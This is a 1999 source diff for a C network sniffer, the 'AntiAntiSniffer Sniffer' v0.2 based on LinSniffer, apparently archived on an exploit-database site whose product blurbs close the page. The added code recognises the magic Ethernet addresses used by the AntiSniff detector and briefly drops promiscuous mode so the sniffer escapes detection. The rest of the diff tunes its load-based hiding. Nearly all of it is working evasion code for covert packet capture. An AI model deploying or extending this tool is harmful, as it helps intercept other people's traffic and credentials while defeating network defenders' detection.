`--- aass-old.c Mon Jul 26 20:45:46 1999
+++ aass.c Mon Jul 26 21:54:47 1999
@@ -1,5 +1,5 @@
/*
- The AntiAntiSniffer Sniffer by Mike Perry
+ The AntiAntiSniffer Sniffer v0.2 by Mike Perry
To all my friends, coworkers, and associates who thought I knew better than
to do something like this, please understand that when I discovered I could
@@ -8,9 +8,15 @@
P.S. Legitimate tools such as icmplog will exhibit the same order of
magnitude latency increase on ping responses.
+ New to 0.2: I check eth frame's addresses for the magic value used by l0pht
+ antisniff, as well as your ethaddr if ULTRA_PARANOID is set.
+
Moral of the story: use ssh/lsh, and assume no host on your network is to
be trusted under any means.
-
+
+ P.S. Sorry to all my teachers. All the global varables must be killing you
+ guys right now :)
+
Based on:
LinSniffer 0.03 [BETA]
Mike Edulla
@@ -37,6 +43,10 @@
#define INTERFACE "eth0"
+#ifndef ETH_ALEN
+# define ETH_ALEN 6
+#endif
+
/* Really paranoid counts every packet in the load average. If the load
* average jumps, we drop the promisc bit, and sleep for a few seconds */
#define REALLY_PARANOID 3
@@ -61,8 +71,8 @@
* accumulate enough packets for accurate statistics! See the HIDEOUT &
* comments for more info..
*/
-#define NUM_PKTS_SHIFT 4
-#define NUM_PKTS 32
+#define NUM_PKTS_SHIFT 2
+#define NUM_PKTS 8
/*
* Secs to wait for the bad men to go away :)
@@ -83,19 +93,37 @@
/* This causes the algorithm to treat dead time as if a packet was coming
* every BASELINE usecs. Useful for intermittent traffic networks */
-#define BASELINE 5000 /* 5ms */
+#define BASELINE 4000 /* 4ms */
-/* As a last resort, don't track more than CMAX connections at once.
- */
+/* As a last resort, don't track more than CMAX connections at once. */
#define CMAX 10 /* -1 is Inf */
+/* This option controls if we watch for the AntiSniff magic packets, in
+ * addition to our own address (in case they are sending the ping before we
+ * detected a change in load)
+ * Note, this is a definable option because it is possible to use this against
+ * us, and send these packets all the time just to shut us down */
+#define ANTIMAGIC
+
+#ifdef ANTIMAGIC
+# define MAGIC1 "ff:00:00:00:00:00" /* Method #1 for Win* */
+# define MAGIC2 "66:66:66:66:66:66" /* AntiSniff user specified */
+# define MYADDR "fe:ed:de:ad:be:ef" /* Undefine and decrement NMAGIC, and
+ change the hex_addrlist to not watch
+ for your address */
+# define NMAGIC 3 /* Number of magic eth addrs to search */
+char *hex_addrlist[] = { MAGIC1, MAGIC2, MYADDR };
+char h_dest[NMAGIC][ETH_ALEN];
+#endif
+
+
#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "test"
/* Actually, this debug option prints out some pretty useful stats you can use
* to set UMAX_LOAD */
-// #define DEBUG
+/*#define DEBUG */
#ifdef DEBUG
# define PRINTF(a...) printf(##a)
@@ -145,7 +173,57 @@
int s;
FILE *fp;
+#ifdef ANTIMAGIC
+
+# ifdef DEBUG
+# define PRINT_ETHER(a) print_ether(a)
+# else
+# define PRINT_ETHER(a)
+# endif
+void print_ether(char *addr)
+{
+ fprintf(fp,"Eth addr %2X:%2X:%2X:%2X:%2X:%2X\n",
+ addr[0] & 0xff, addr[1] & 0xff,
+ addr[2] & 0xff, addr[3] & 0xff,
+ addr[4] & 0xff, addr[5] & 0xff);
+ fflush(fp);
+}
+
+void init_magic()
+{
+ char *p;
+ int j = 0, i;
+
+ for(j = 0; j < NMAGIC; j++)
+ {
+ p = hex_addrlist[j];
+ PRINTF("Blocking addr %s\n", p);
+ for(i=0; i < ETH_ALEN && p && *p != 0; i++, p++)
+ {
+ h_dest[j][i] = strtol(p, NULL, 16) & 0xff;
+ p = strchr(p, ':');
+ }
+ PRINT_ETHER(h_dest[j]);
+ }
+}
+
+int ismagic()
+{
+ register int i;
+
+ PRINT_ETHER(ep.eth.h_dest);
+
+ for(i = 0; i < NMAGIC; i++)
+ {
+ if(!memcmp(ep.eth.h_dest, h_dest[i], ETH_ALEN))
+ {
+ return 1;
+ }
+ }
+ return 0;
+}
+#endif
void set_promisc(char *dev, int s)
{
struct ifreq ifr;
@@ -315,6 +393,14 @@
{
if(read(s, (struct etherpacket *) &ep, sizeof(ep)) > 1)
{
+#ifdef ANTIMAGIC
+ if(ismagic())
+ {
+ closeintf(INTERFACE,s);
+ usleep(randhide());
+ openintf(INTERFACE);
+ }
+#endif
#if AASS == REALLY_PARANOID
if(account_load(&rawload))
{
@@ -500,7 +586,6 @@
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
fp = fopen(TCPLOG, "at");
- s = openintf(INTERFACE);
gettimeofday(&tv, NULL);
srand(tv.tv_usec ^ getpid() ^ (getppid() << 16));
@@ -516,8 +601,12 @@
}
vlist_head.next = NULL;
+#ifdef ANTIMAGIC
+ init_magic();
+#endif
init_load(&tcpload);
init_load(&rawload);
+ s = openintf(INTERFACE);
for (;;)
{
read_tcp(s);
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation